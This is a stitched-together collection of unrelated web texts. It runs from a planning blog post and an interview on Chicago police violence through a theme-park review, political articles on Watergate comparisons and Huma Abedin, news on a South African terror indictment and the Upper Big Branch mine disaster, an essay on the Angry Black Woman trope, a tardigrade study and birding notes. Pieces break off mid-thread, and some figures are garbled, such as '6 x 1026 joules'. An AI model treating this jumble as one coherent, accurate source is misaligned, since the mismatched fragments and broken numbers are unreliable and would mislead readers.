As planners, a significant part of our job is deciding the most appropriate location for all land uses, whether they be nice or not-so-nice. However, by overloading the less desirable uses in limited areas, aren’t we imposing a de facto blight on the residents of that part of the community? That is one of the dirty little secrets of planning that really bothers me. How to solve it? Aside from a more even distribution of all land uses across the entire community, two other ideas come to mind:
Require more stringent landscaping and aesthetic standards in industrial, manufacturing, light industrial or similar areas.
Direct spending and construction of parks, museums, libraries, pathways, trails, recreation areas, and other public or semi-public land uses to these same areas as a way to counter-balance the effects of the less desirable uses.
I certainly do not have all the answers to this issue, so other thoughts and ideas on this topic are most welcome. I look forward to reading them.
A scathing report released yesterday by a task force appointed by Mayor Rahm Emanuel said that the Chicago Police have “no regard for minority lives.”
The Gazette sat down with Ralph, the John L. Loeb Associate Professor of the Social Sciences in the Departments of Anthropology and African and African American Studies, to talk about his research, the limits of the American legal system in addressing issues surrounding police violence, and the current climate on the matter.
GAZETTE: You’ve been doing research on police violence in Chicago for the past decade, and the topic is very relevant today. What can your research tell us about the issue of police brutality against unarmed black men?
RALPH: The national debate about police violence in America stems from the growing collective awareness that police officers are contributing to an alarming number of violent deaths. My research shows that instead of assuming that lethal force was either necessary or the momentary overreach of a rogue cop, instead of assuming that these cruel events are accidents, many Americans now question whether lethal force is a fundamental aspect of modern-day policing.
GAZETTE: Part of your research has focused on the actions by Chicago activists to air issues of police violence before international bodies. Could you tell us more about this?
RALPH: I’ve been looking at activist organizations in Chicago that have gone to the United Nations in Geneva to try to make police violence a human rights issue and to get accountability. I’m also looking at the case for reparations for victims of reported police torture in Chicago. I’ve been studying the history in Chicago. The first case is from 1984, but since then more and more victims have come out. The city of Chicago has already paid over $200 million on legal fees and settlements to victims, and recently some of the victims have been awarded $5.5 million in reparations. There is an increasing effort to make the public aware of this problem, but also to find creative ways of addressing it. The international arena is one example.
GAZETTE: Can you tell us more about this? Is there a precedent for U.S. groups taking their grievances to the international arena?
RALPH: There is a group in Chicago called We Charge Genocide that went to the UN in 2014. They get their name from a petition of African-Americans, W.E.B. Du Bois, Paul Robeson, among others, who went to the UN in 1951 to address the issue of systematic racism against African-Americans. The Chicago group takes its inspiration from this prior group and is making some of the same arguments. They’re trying to follow a historical precedent. They’re saying that although we had the Civil Rights movement in the United States, there are still big hurdles to overcome, particularly when it comes to race and legal justice.
GAZETTE: What happened with the first group? What do you think is going to happen with the efforts of the Chicago group to find justice?
RALPH: Back in 1951, people in the United States were afraid of the threat of communism. People were afraid that African-Americans would be more sympathetic to communism and subvert the United States from inside. There was a lot of effort not to talk about the first trip to the UN, but black newspapers talked about it. In the Chicago case, the goal is not merely to get particular sanctions on the Chicago Police Department, but also to give victims of police violence an outlet to express their grievances.
GAZETTE: For these activists, what does the international stage offer that the American legal system may lack?
RALPH: International laws give people a different language to talk about systematic racism and the fact that African-Americans are disproportionately impacted by police violence. Often within the U.S. legal system, police violence cases are looked at individually, and everything else is irrelevant. There is no way to talk about the fact that a particular racial group is overwhelmingly being impacted by police violence. So the international stage gives you another set of terms and allows for a broader set of arguments to be made. I think that beyond sanctions, the language is important, and also, since this latest group went to the UN, a lot of other incidents of police violence have happened in Chicago. Their efforts have helped the public mobilize around the issue. The activism that took place last year wouldn’t have been that effective if they hadn’t gone to the UN.
GAZETTE: What do activists in Chicago think about the American legal system?
RALPH: The group I’m researching is frustrated in the sense that, oftentimes in the American legal system, racial factors are excluded. You can’t talk about race; you can’t talk about social position. And oftentimes, the police are given the benefit of the doubt and they’re more trusted in court than the victims of police violence. But the international organizations can look at patterns of police abuse, and they take into consideration the rights and the word of citizens first, when filing a petition. While in the U.S. this could be an open-and-shut case, that’s the starting point for the international bodies.
GAZETTE: How would you describe the police violence situation in Chicago compared with other American cities?
RALPH: Part of the problem is that we don’t actually know the scope of police violence. We can’t make an assessment about which cities are better or worse in terms of police violence because a lot of what we need to keep track of, we haven’t been keeping track of on a large-scale level. What I’m focusing on is the culture of policing. I ask: What gives people an incentive to enact violence when they don’t necessarily need to? What kind of incentives are there to rise up the ranks within the police department? And why do some police officers keep silent when they know that misconduct is taking place? I hope that these cultural factors will be relevant to other police departments in other cities across the United States.
GAZETTE: What were the findings of your research in Chicago?
RALPH: I wanted to examine the contradiction between the fact that the police are supposed to safeguard citizens and yet they’re contributing to an alarming number of violent deaths. I’m focusing on the factors that keep police misconduct hidden. Much of my work looks at the phenomenon of police torture, specifically. I’m interested in criminal suspects who have been brutalized or tortured in order to coerce confessions, and what keeps these methods under wraps. I find that, although many officers might know or suspect misconduct, they don’t want to tell anyone because it could compromise them or put them in a position to risk their careers. Some develop strategies to avoid getting knowledge. The larger issue is how the police departments operate in America today.
GAZETTE: Would you say that there is a climate of looking the other way in most police departments when it comes to issues of misconduct?
RALPH: In the cases I have studied, there is a climate of looking the other way, definitely. There is a lot of pressure to both get arrests and confessions. And there are disincentives for outing police officers.
GAZETTE: What do you hope to see happen with grievances of police violence?
RALPH: My hope is that more creative solutions can be imagined to solve the problem. I don’t know what those solutions will be yet. But what I’m seeing in the research is that the same solutions are being imagined as a way to solve the problem. Some examples are: another report, another committee created to address the problem, and more personnel being fired. But if we look at this from a long, historical perspective, we see that those changes don’t affect what’s actually going on. My hope is that we find another way to think about what can be done, and that’s the importance of going to the UN. Not to say that’s the answer, but it gives people a space to air grievances, an alternative vision of the law than what we currently have in the United States.
Ralph, a Joy Foundation Fellow at the Institute this year, will present “Witnessing Death: Policing, Race, and the Limits of Democracy in the 21st Century” on Wednesday at 4 p.m. at the Sheerr Room, Fay House, 10 Garden St., Cambridge.
Edaville USA is a family park located in south-eastern Massachusetts, a little under sixty miles from Boston. Shortly before our arrival we noticed a prominent road sign saying "your GPS is wrong; take next right", making us wonder just how many park visitors had inadvertently pulled into a private driveway over the years. I'm glad to say that I've always considered the instructions from satellite navigation to be guidance rather than orders to be followed blindly, and thus far I've managed to avoid driving into rivers and off the edge of cliffs.
We were greeted within moments of stepping out of our car by a bubbly member of staff who handed us a map and told us to have a great day at Edaville. This first interaction, simple as it was, set the tone for our visit; everyone we spoke to over the course of our stay was friendly and enthusiastic, and we were having such a good time that we ended up staying over three hours in a park that we'd fully expected to be a quick hit. Though presently geared at children the park is taking tentative steps towards bigger rides with the upcoming installation of Kersplash, a water coaster that operated for seventeen years at the Washington State Fair. We also saw the foundations for a go-kart track, as well as construction signs for Pirate Adventure which online reports suggest will be a dark ride.
The main entrance is through an archway that leads to what can be thought of as an ultra-minimalist version of Universal CityWalk. One side features a selection of craft shops selling locally produced goods, while the other is devoted to information boards talking about the park and its history. Our first stop once through the ticket barrier was at Spinning Lady Bug Coaster (#2273), yet another example of the compact spinning coaster from SBF Rides. The four car trains featured custom bodywork consisting of black spots on a red base, but otherwise the hardware looked and felt no different to the other models. The operator thoughtfully augmented our ride with a variety of man-made sound effects, chiefly words like "woohoo!" and "yeehaw!" every time the train passed through the station.
In 2015 the park became the third in the world to open an area dedicated to Thomas the Tank Engine, following in the footsteps of Drayton Manor in England and Fuji-Q Highland in Japan. The three parks have taken somewhat different approaches to the franchise, with individual ride selections reflecting their own unique markets. Edaville management decided to go with a Zamperla Speedy Coaster for their version of Troublesome Trucks Runaway Coaster (#2274), and the result is a respectable enough ride that handles well aside from a harsh chain lift engagement that, to be fair, is not exactly unusual for the product type.
Our next stop was at Winston's Skyline Express, an elevated monorail ride that featured lap bar restraints despite there being a side wall in each car, a sad reflection on the fact that local children cannot be trusted to remain seated. There were quite a few good photographs available from the aerial vantage point, including some close-ups of the Kersplash construction site. We did have to wait a few minutes to board, but that wasn't a big deal; the time passed very quickly as we watched the lady in front of us attempt to control her two daughters, whom she'd apparently chosen to name Arianna and Joliet, the latter being a name that seemed more than a little improbable.
The main attraction in the park is a narrow gauge railroad dating from 1947. The twenty minute loop is operated once per hour and is pulled by a full scale replica of Thomas the Tank Engine, albeit with cars that look nothing whatsoever like Annie and Clarabel. The uniformed staff gave a theatrical "all aboard" cry before dispatch, and once we were in motion an audio recording came on that pointed out key landmarks along the route. At one point someone came by and offered to take our photo, and though we declined we saw quite a few families taking advantage. The main thing that stuck with me from the journey was the sheer amount of space that the park has for future expansion; both of us felt that a Wooden Warrior clone would be a great fit!
Another recent addition to the park is Dinoland, a forested area filled with animatronic dinosaurs and the tangled remains of Gnome Coaster, a once-popular ride that, according to the signage, "closed abruptly twenty-five years ago". The veracity of this statement was (and is) impossible to verify as the only online references to a coaster by this name date from the last few years. However, it is established fact that the Edaville Railroad had carnival rides in the run up to its closure at the end of 1991, so it's certainly possible that the pieces came from an old credit that nobody remembers today. RCDB has the pieces listed as coming from the defunct Enchanted Forest in nearby Rhode Island, though whether that's correct or not is anybody's guess.
It would have been rude not to make a brief stop at Big Eli: The Ferris Wheel, a vintage sideways facing model dating from 1951. As we approached the operator asked us if we'd left our kids somewhere else, and he seemed genuinely pleased when we admitted that we were visiting on our own. He spoke briefly about how the owner had put an awful lot of work into sprucing up the park and how there was lots more to come, and he encouraged us to come back in a few years if we could. The ride itself moved at a substantial speed, as is normal for Eli Bridge wheels, but we managed a few photographs nevertheless.
But this is far from the first time we’ve heard the right compare a story reflecting less than positively on Obama or someone in his administration to Watergate.
Here, an abridged collection of the scandals that Republicans wished were Watergate, but weren’t:
Solyndra
“This makes Watergate look like child’s play.” - Michele Bachmann, November 2011
Back in 2011, Minnesota Congresswoman Michele Bachmann dropped the Watergate comparison to the controversy surrounding the bankruptcy of Solyndra, a company the president once touted as a model of clean technology and job creation. Conservative groups spent millions of dollars on ads designed to use the issue to bring the president down. Then he won reelection.
Fast & Furious
“This is far worse than Watergate.” - Louie Gohmert, June 2012
Texas Congressman Louie Gohmert was one of many who tried to argue that the controversy over the Fast & Furious “gun walking” program was worse than Watergate. He based that claim on Obama’s decision to claim executive privilege in the case after months of House investigations into how the program, which was started in the Bush administration, lost track of hundreds of guns it purposefully allowed into the hands of Mexican drug cartels. Gohmert claimed that Obama’s decision to assert executive privilege put him on par with Nixon, who used executive privilege to try to hide the audio recordings that eventually incriminated him in the Watergate scandal. House Oversight Committee Chairman Darrell Issa echoed those Watergate-level accusations.
Sestak “bribe”
“”The White House is facing a major scandal—one that threatens to bring down President Obama. It could be his Watergate.” - Jeffrey Kuhner, May 2010
The Right pounced on an offhand remark from Pennsylvania Democrat Joe Sestak suggesting that he was offered a job in the Obama administration for not running against Arlen Specter. California Congressman Darrell Issa, of the House Oversight Committee, wondered the same thing and even demanded a special prosecutor investigate the story. Conservative columnist Jeffrey Kuhner said it could be Obama’s Watergate. The story went away as Republicans lost interest in exploiting it not long after a Bush administration ethics lawyer pointed out how overblown the story had been.
Alleged national security leaks from Obama White House
“Watergate meant nothing… This is far more important than Watergate. To me there’s no comparison at all.” - Peter King, June 2012
New York Congressman Peter King was outraged over allegations that White House officials might have leaked national security information to outlets including The New York Times, Newsweek and the Associated Press, in an attempt to make the president look good. The story came nowhere near Watergate-level leaks, in part because Attorney General Eric Holder quickly picked two senior Department of Justice prosecutors to investigate the leaks.
Obama’s birth certificate
“Why does the press protect him? Is this another Watergate?” - Donald Trump, May 2012
When a promotional brochure from Obama’s old publisher with a typo declaring Obama’s birth place as Kenya was revealed this past summer, Donald Trump pounced. He tweeted that the press was protecting the president on an issue that might turn out to be his Watergate. Then the literary agent took the blame for the fact-checking error and the story quickly went away, perhaps in part because the president had already released his long-form birth certificate.
Media Matters
“Is Media Matters Obama’s Watergate?” - The American Spectator, February 2012
That’s what the American Spectator asked in February of last year after a report of Obama administration connections to left-wing media watchdog group Media Matters. The Spectator’s report tried to draw comparisons between that story and Tony Ulasewicz, who delivered hundreds of thousands of dollars in hush money to Watergate defendants.
Work permits for immigrants under 30
“Whatever Nixon did pales in comparison to just this move today.” - Rush Limbaugh, June 2012
Rush Limbaugh declared the president’s plan to offer “amnesty” to 8 million undocumented immigrants was far worse than anything Nixon “supposedly” ever did.
In all these cases, the proclamations of a Nixonian level scandal proved to be more wishful thinking than political reality. But Republicans appear determined to make the Benghazi scandal stick to the president in a more meaningful way, specifically over news that administration talking points about the attack were edited. The only problem is that Republicans knew about the timeline for the talking points months ago.
President Obama pointed out that Republicans knew about the emails Monday and called the conversation a “sideshow” Monday.
Abedin recently dumped her husband, Anthony Weiner, after he became embroiled in yet another sexting scandal
She has been tipped to be Hillary's chief of staff if she wins on November 8
Hillary Clinton's top aide Huma Abedin has been accused of referring to a key pro-Israel lobby as 'that crowd' in an exchange of emails.
In 2009 Abedin reportedly emailed Doug Band, an aide to Bill Clinton, recommending the former President turn down an invitation from the American Israel Public Affairs Council (AIPAC).
'U really want to consider sending him into that crowd?' Abedin asked, according to the Daily Caller, a conservative website set up by pundit Tucker Carlson.
Human Abedin (right with Hillary Clinton, left) worked at a radical Muslim publication that opposed women's rights and blamed the US for 9/11 before being appointed as Clinton's top aide
It follows revelations in August that she worked at a radical Muslim publication that opposed women's rights and blamed the US for 9/11.
Abedin, who could become the future White House chief of staff if Hillary wins the election, occupies a key role in Hillary's campaign and the former First Lady remains fiercely loyal to the Michigan-born mother-of-one.
But this latest story will prove awkward for the Democrat nominee, who will be hoping to rely on millions of Jewish votes on November 8.
Donald Trump adviser Roger Stone recently asked whether Huma Abedin (left) was a 'Saudi spy' or a 'terrorist agent' working with Mrs Clinton (right)
Morton Klein, national president of the Zionist Organization of America, told the Daily Caller the email was 'appalling and showed 'hostility toward Jews and Israel in light of the fact that "that crowd" gives huge ovations to White House speakers.'
Mr Klein claimed Abedin's family had ties to a radical Islamic group, and he added: 'It makes me think about the allegations about her parents and other family members who were associated with the Muslim Brotherhood.'
Abedin's parents are both Muslims who were born in India and her mother, Saleha, an academic, founded the Journal of Muslim Minority Affairs, which Abedin herself once worked on.
In 2002 the journal published an article saying the United States had created a 'spiral of violence' which had created a 'time bomb' which exploded on 9/11.
US Secretary of State Hillary Clinton is pictured with Saleha Mahmood Abedin at a women's college in Jeddah in 2010
Huma was listed as 'assistant editor' on the masthead of the 2002 controversial issue.
Abedin has never spoken directly about the articles posted in her mother's magazine, while she served as assistant editor.
In a recent Vogue piece, she described her mother as a feminist who was unhappy when the family moved to the conservative Saudi Arabia.
Abedin (left) who could become the future White House chief of staff if Hillary wins the election, was assistant editor of the Journal of Muslim Minority Affairs - run by her mother Saleha Mahmood Abedin (right)
Abedin has never spoken directly about the articles posted in her mother's magazine, while she served as assistant editor
Many politicians, of both parties, strongly support Abedin including Republican Senator John McCain of Arizona.
'Put simply, Huma represents what is best about America: the daughter of immigrants, who has risen to the highest levels of our government on the basis of her substantial personal merit and her abiding commitment to the American ideals that she embodies so fully,' McCain said then. He added: 'I am proud to know Huma and to call her my friend.'
Lanny Moriarty, the judge who ordered the 17-year-old to go to jail after more than ten unexcused school absences, has set aside the contempt of court order he entered last week, according to Tran's lawyer, Brian Wice.
"She can now truthfully say that she doesn't have a criminal history," Wice told The Huffington Post by phone on Wednesday afternoon. He added that he's now going to find a lawyer to expunge the record.
Tran, a junior at Willis High School who takes AP and college level courses, works both full and part-time jobs to help support herself and two siblings, according to KHOU-11. She sometimes misses class because she's so tired from work.
"She goes from job to job from school," Devin Hill, one of Tran's classmates, told KHOU-11 last week. "She stays up until 7:00 in the morning doing her homework."
Her story resonated across the country and throughout the world. Nearly $100,000 in donations have come in from 49 states and 18 countries, according to HelpDianeTran.com, a site established in part by the Louisiana Children's Education Alliance (LCEA), a non-profit that focuses on education reform.
"We read the story and our hearts just broke thinking about what this girl had gone through," Charlie Davis, the president and founder of the LCEA, told HuffPost. "At same time we were infuriated that she'd become a victim of both the public education system and the judicial system, and we wanted to do something to help her, to show her some support."
Davis stressed that 100 percent of the money donated outside of the credit card processing fees will be donated to Tran, and said that he's hoping to give the money to the high school junior next week.
This is one the 12 counts contained in a 13-page provisional indictment against the identical twins. The Thulsies on Tuesday appeared in the Johannesburg Magistrate's Court‚ where their case was postponed to next month.
The 23-year-old brothers allegedly attempted to travel to Syria to join the Islamic State and allegedly made plans to attack US‚ UK‚ Russian and Jewish interests in South Africa.
In the indictment the state alleges that Shapiro‚ who is known under the pseudonym Zapiro‚ was one of these targets.
Indictments ready for Joburg terror accused A provisional indictment has been prepared and will soon be served on terror-accused twin brothers Brandon-Lee and Tony-Lee Thulsie.
“The said terrorist activities would have been perpetrated using firearms‚ explosives and possibly poisons and would have been directed against: the High Commission of the United Kingdom in Pretoria‚ the Embassy of the Russian Federation in Pretoria‚ the Embassy of the United States of America in Pretoria‚ the First Secretary to the French Mission in South Africa (Pretoria)‚ Mr J-B MP Prouhet [and] Jonathan Shapiro‚ a South African Jewish cartoonist.”
Seven other alleged targets were included in the list‚ including King David High School in Linksfield‚ Johannesburg‚ and Jewish investment manager Roy Topol.
The plans for the attacks were allegedly made by the brothers between August 2015 and July 2016. They were arrested on July 9‚ 2016 after their homes were searched by the police.
Terror-accused Thulsie brothers' case to be transferred to high court A provisional indictment has been prepared and will soon be served on terror-accused twin brothers Brandon-Lee and Tony-Lee Thulsie.
The state also alleges that Tony-Lee communicated with Abu Fidaa‚ an ISIS network‚ and others‚ whose identities are unknown to the state‚ about killing “Zapiro who drew the Messenger of Allah cartoon”.
The 12th count in the matter alleges that the brothers attempted to leave the country through the Ficksburg border post in the Free State‚ using fraudulent Lesotho passports in August 2015.
The case was postponed at the request of prosecutor Chris MacAdam‚ in order to finalise whether this count‚ which falls outside the jurisdiction of the Gauteng High Court‚ will be tried together with the other counts.
Detective admits 'bending rules' in terror investigation Gauteng police investigating a suspected terror plot have admitted in court that they had destroyed evidence without presenting it to defence lawyers, and sometimes "bent the rules" in their investigations.
The Thulsies‚ who come from Newclare‚ west of Johannesburg‚ are due back in court on May 15 to finalise the transfer of the case to the High Court.
The resulting explosion ricocheted in several directions, tearing through two and a half miles of mine, killing 29 of 31 men working in the area and searing the mine into history as the site of the most deadly coal-related disaster in nearly 40 years.
Five years later, the explosion continues to reverberate, in the courts and elsewhere.
Former Upper Big Branch supervisor Gary May was sentenced to 21 months in prison after pleading guilty to disabling a methane gas monitor, falsifying mine records, and generally obstructing safety inspectors. David Hughart, a former Massey Energy executive, was sentenced that same year to 42 months on conspiracy charges for making sure officials at Massey mines were warned ahead of safety inspections. Hughart never worked at Upper Big Branch, but state and federal investigators reported a similar warning system contributed to the explosion.
May and Hughart are minnows compared to Appalachian coal’s longtime apex predator, former Massey Energy CEO Don Blankenship, aka the Dark Lord of Coal Country, who faces criminal charges that could put him behind bars for 30 years.
Blankenship’s trial is scheduled to start April 20, but unlike his underlings, he has no plans to seek a plea deal. His life since joining the coal industry in the early ’80s has been marked by an indomitable will to win, whether fighting the United Mine Workers in a labor dispute that turned violent, using mountaintop removal and longwall mining to boost production numbers and give Massey a competitive edge to devour its competitors, or striding into the political arena to turn West Virginia from a Democratic stronghold into a bastion of conservatism.
But a lot can happen in five years, and the playing field has changed dramatically since the Upper Big Branch explosion.
Coal country has grown increasingly hostile for a native son and industry baron.
Blankenship was born in Kentucky and raised in southern West Virginia. That history and his commitment to living in the region where he grew up gave him credence and a firewall against criticism from outsiders. That’s completely changed.
Lawyer Bruce Stanley, who’s faced Blankenship repeatedly in court over the years, estimates that 50 miners died in Massey’s mines between 2000 and 2011. Federal and state reports on Upper Big Branch indicate that many if not all of those deaths were preventable, had the company followed correct safety procedures.
Southern West Virginia’s hostility toward Blankenship stems from more than just mining deaths, though. Blankenship and Massey literally poisoned the well, according to a court case that was settled in 2011. The company and its offshoots allegedly dumped 1.4 billion gallons of coal slurry, a nasty chemical concoction used to strip coal of its worst contaminants, into abandoned mines that leaked into the drinking water of Blankenship’s neighbors near the Tug Fork River. While his neighbors fell prey to a variety of maladies, Blankenship sidestepped the problem by running a private line of municipal water to his house from nearby Matewan.
It’s no wonder Blankenship’s legal team says he can’t get a fair trial in southern West Virginia. In fact, a pretrial motion asking to loosen his travel restrictions indicates that Blankenship no longer resides in West Virginia, but now considers Nevada as home.
Appalachian coal country continues to hemorrhage jobs — and people.
Coal jobs have been declining for decades due to technological advances that require fewer workers. The fracking renaissance and its natural gas and oil boom has made coal less attractive for power production, and the price for metallurgical steel has dropped amid an economic slowdown in China and increases in Australian production.
That all makes the relatively marginal mines in Appalachia look even weaker by comparison. Despite the use of mountaintop removal and longwall mining to cut production costs and scrape the last coal out of the region’s increasingly difficult-to-access coal seams, a growing number of mines have been idled and production is down, leading to a period of consolidation. Massey was bought out by Alpha Natural Resources not long after Blankenship left. That trend has continued more recently, leaving a smaller number of larger companies within American coal.
The regions of Appalachia that produce the most coal have for decades grown more slowly than their neighbors, at best. In recent years, that slow growth rate has turned into outright shrinkage. In Southwest Virginia, 15 counties lost population since the 2010 Census. West Virginia outpaced every other state for losing residents, with the southern part of the state the hardest hit.
Longwall technology has been increasingly adopted to goose production.
Five years after Upper Big Branch, other coal companies are still following Massey’s example — not necessarily when it comes to shortcutting safety, but in adapting longwall technology to cut production costs. Longwall shearers cut long slices of coal, from underground seams, doing the work that was once done by dozens of miners.
Robert Murray, the CEO of Murray Energy Corporation, the U.S.’s largest underground mining company, told the Wall Street Journal that longwall mining “is 10 times more productive than any other kind of method.” Murray’s recent acquisitions were aimed at locking up 9 billion tons of coal in the ground that can be mined using the technique. That will in turn lead to lower production costs — which ultimately means Big Coal can dig ever more coal with fewer and fewer workers, giving it leg up when (if?) the international coal market rebounds.
Clean air regulations and abundant natural gas have put the squeeze on coal, especially in Appalachia.
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Under President Obama, the Environmental Protection Agency has created new rules to restrict the amount of greenhouse gases and pollutants that can be emitted by power plants. A rule restricting mercury levels will result in the closure of a series of coal-fired power plants in 2015. American Electric Power is closing seven plants by the end of May and converting two more to natural gas.
Coal country has gone completely Republican.
For all of Blankenship’s woes, this change gives him a reason to smile. Appalachia trended Democratic from the Civil War nearly through the turn of the millennium. No more. The once-blue region started to bleed Republican red in the ’90s, and the presidency of Barack Obama — along with uber-effective GOP messaging about his so-called “War on Coal” — finished the job.
Even before last year’s congressional midterms, Republicans held 52 of 62 House districts in the Appalachian Regional Commission’s generous definition of Appalachia (which includes Pittsburgh and portions of Ohio). The fall 2014 elections further sealed the deal, perhaps for many election cycles to come. Republicans won all three of West Virginia’s seats in the House of Representatives, as well as an open U.S. Senate seat left by the retirement of Democrat Jay Rockefeller.
Though he’s too toxic for Republicans to publicly credit him, Blankenship spent the mid-2000s laying much of the groundwork for the “War on Coal” messaging that’s persuaded so many Appalachian voters. Some argue that his fingerprints still can be found on much of the legislation passed so far this year by West Virginia’s new Republican-controlled state legislature.
The 29 miners who perished in the Upper Big Branch disaster are still dead.
Brendan Mcdermid / Reuters
As a black woman in public, I’m hyperconscious of my actions, tone, and words out of fear that I might seem too angry. Whether I’m making a suggestion to a customer service representative or telling the waiter he forgot a part of my order, I ask myself: Am I being the Angry Black Woman? If black women aren’t characterized as hypersexual, man-stealing jezebels, or docile mammies with unlimited care to give our white employers, we’re the choleric group known as the Angry Black Women. Finger-snapping, antagonistic, and assertive, the Angry Black Woman is one of entertainment’s most reliable tropes: the short-tempered black girlfriend who emasculates her man for the audience’s delight — with minimal consideration for how this archetype impacts actual, living black women. But the Angry Black Woman shows up in the news as well. Two weeks ago, a 28-year-old black woman named Sandra Bland died in police custody after telling an officer she was “a little irritated” during a needless traffic stop. A week later, news outlets cast Nicki Minaj as the aggressor in Taylor Swift’s one-sided Twitter argument with the rapper. Two trending news stories — one tragic, the other trivial — showed how the fictional trope of the Angry Black Woman colors white Americans’ interactions with real black women. Bland’s death is a chilling reminder that, all too often, the imagined predisposition of black women has deadly consequences. And in both stories, the Angry Black Woman narrative quickly unraveled, suggesting white authority can no longer count on the trope to explain away the systematic mistreatment of women of color. We see it, we’re identifying it, and we’re not having it any longer. As far as unflattering archetypes go, the Angry Black Woman is a relatively young one. She’s sometimes referred to as the Sapphire, after Sapphire Stevens on Amos ’n’ Andy, a radio and television minstrel sitcom popular from the 1930s to 1950s. Set in black Harlem — and written by two white men — Amos ’n’ Andy calcified many stereotypes about the African-American population, including the shrewish black wife. In an early episode, Sapphire’s husband, Kingfish, discreetly applies for a job in her name. Sapphire receives the offer letter and — none the wiser — considers taking the position. But not before humiliating Kingfish for being “the kind of man” who would want his wife to be a second earner.
Imitations of Sapphire multiplied and evolved to reflect the modern black woman— self-sufficient and self-reliant to a fault. Today’s Angry Black Woman is bitter and wrathful: Debra Wilson as a mouthier Samantha Stephens in MadTV’s black spoof of Bewitched, Be-Bitched; the character Kenya in Something New; Angela in Why Did I Get Married; Taraji P. Henson's “Lauren” in Think Like a Man. Their one-note personalities are mapped onto unscripted women. As the first African-American family entered the White House, the first lady was characterized as angry over and over. The ubiquitousness of the Angry Black Woman isn't a matter of coincidence or paranoia. Studies indicate that negative racial stereotypes reinforced through media exposure unconsciously influence one’s interactions with the stereotyped group. That black woman may have been walking a non-black friend’s child home, but all you see is Aunt Jemima. At the same time, studies show that being the subject of a racial stereotype leads to low self-esteem and psychological distress. The repeated imagery of the Angry Black Woman eats away at black women’s mental well-being while simultaneously training the white population how to expand the trope’s power. And the fictions foisted upon black women always work to benefit white male supremacy. The jezebel stereotype explained why slave women were eligible for extramarital sex while white women must remain chaste. Mammy suggested that black women enjoyed being domestic servants, and didn’t want lives of their own. What purpose, then, does the Angry Black Woman serve? It seems to me that the Angry Black Woman serves to silence women, and in particular to erase our identification of racism and sexism. Although black women exist at the intersection of these two systems of oppression, black women couldn’t possibly be righteously upset about either (or both). We are angry because it is in our nature. We are angry without cause. When 16-year-old Amandla Stenberg, a teenage actress known for her role in Hunger Games, explained how Kylie Jenner’s braids exhibited the theft and commercialization of black culture, Twitter users told her she was too angry. The trope doubles as an accusation; our opinions are irrational because they’re rooted in emotion.
End the "angry black girl" narrative. It's just another attempt to undermine certain perspectives. I have strong opinions. I am not angry.
In 2014, Minaj released “Anaconda” to record breaking views online, and collaborated with Beyonce on “Feeling Myself.” Both music videos — and the feminist messages therein — impacted pop culture for months to follow, but neither video was nominated for MTV's Video Music Award for video of the year. Talking to her Twitter followers, Minaj called it like it is: Black women who contribute exponentially to popular culture are never properly credited. A white reporter ran the numbers and confirmed her claim — the work of women of color is consistently snubbed at the VMAs and various other award ceremonies. But Minaj’s own analysis of industry racism was nearly drowned out as a flood of images depicting an angry Minaj appeared on social media, illustrating her “attack” on a sweet Taylor Swift.
If racial stereotypes and racial discrimination are mutually reinforcing, it will be important to dismantle the Angry Black Woman trope in popular culture. That’s where the next generation will either learn to dehumanize black women by making anger their identity, or learn that anger is an emotion that, among others, all humans experience. To that end, it matters that Nicki Minaj refused to let media outlets write off her criticism as innate fury.
A giant asteroid crashing into our planet would instantly kill off millions of animals. But the aftermath of such an impact would be even more disastrous: Tsunamis, earthquakes, and vast clouds of dust blocking out the sun would lead to crop failure and mass extinction. Sixty-five million years ago, just such an event killed off 75% of species on Earth. But to really wipe life off the planet, it would take an astrophysical event so powerful that Earth’s oceans would literally boil away, according to a new study. The heat and cosmic radiation would make Earth inhospitable even to tardigrades, among the hardiest organisms ever discovered.
“They’ve taken a grand question—how resilient is life?—and turned [it] into a well-posed calculation, by focusing on the energy required to boil Earth’s oceans,” says Joshua Winn, an exoplanets expert at Princeton University, who was not involved in the study. “It’s an awful lot of energy.”
Researchers first calculated the amount of energy it would take to bring all Earth’s water above 100°C: 6 x 1026 joules, about a million times more than total annual energy consumption by humans, or a quadrillion (10^15) times the energy needed for the space shuttle to lift off. Translated into cataclysms, it would take the energy given off by the impact of an asteroid the size of Vesta or Pallas, among the solar system’s biggest, they report today in Scientific Reports . Other options: exploding stars known as supernovae or gamma ray bursts, highly energetic explosions in outer space.
But none of these is very likely. Asteroids of the right size exist, but “they’re not heading in our direction,” says study author and astrophysicist Avi Loeb of Harvard University. And although the heat given off by a supernova could make all the water on Earth evaporate, such an explosion would have to be “just next door,” cosmically speaking. That’s 0.13 light-years away, or about 30 times nearer to our solar system than the closest supernova candidate. Finally, there’s almost zero chance that gamma ray bursts would happen at a distance capable of stripping Earth of its seas. “It really is pretty hard to sterilize a planet,” says Gregory Laughlin, an astronomer at Yale University who was not involved in the study.
The researchers turned to tardigrades—microscopic, water-dwelling creatures that can endure temperatures as cold as -272°C and as hot as 150°C—as the Earth animals most likely to survive when all others are dead. Tardigrades, also known as water bears, can live for days in the vacuum of outer space. They can also withstand pressure up to six times that at the bottom of the ocean and levels of radiation thousands of times the lethal human dose, thanks to a yet-unknown mechanism that allows them to repair their DNA. But they wouldn’t be able to survive prolonged exposure to severe heat and cosmic radiation without water—or endless time in space.
The findings have implications for more than just earthlings. They could inform our search for creatures on alien worlds, says study author David Sloan, a cosmologist at the University of Oxford in the United Kingdom. “This really broadens the range of places where we should be looking for life.” That’s because the sturdiest organisms on Earth—not only tardigrades, but also microorganisms that thrive in extreme conditions—may resist a wide range of catastrophes, including humanmade ones such as global warming or nuclear wars. “I have an optimistic view about life,” Loeb says. “It may be able to survive all the mistakes we’ll make in politics in the future.”
The first was the extraordinary Black-necked Stilt of July 28.
The second rarity at The Pits was the first Buff-breasted Sandpiper seen in years in Morris County on August 22.
A third Morris rarity at The Pits was a Snowy Egret on September 16. This followed the possible 7 Snowy Egrets seen on August 1 roosting in trees at the adjacent municipal lake in the evening. Equally remarkable was a Morris record 32 Great Egrets tallied at the same time and place.
(Click on the photo for a larger image.)
Another rarity at The Pits was a surprising Dickcissel found on September 21 by Roger Johnson and yours truly near the southern end of the Lincoln Park Gravel Pits. The Dickcissel kept company with numerous Song Sparrows as well as Lincoln’s, White-throated and Swamp Sparrows, and Common Yellowthroats in every flavor of plumage.
Along with the other typical shorebirds at The Pits this summer, an immature Glossy Ibis and up to three juvenile Little Blue Herons were, and are, at the Pits into September along with the usual Great Blue and Green Herons and Great Egrets.
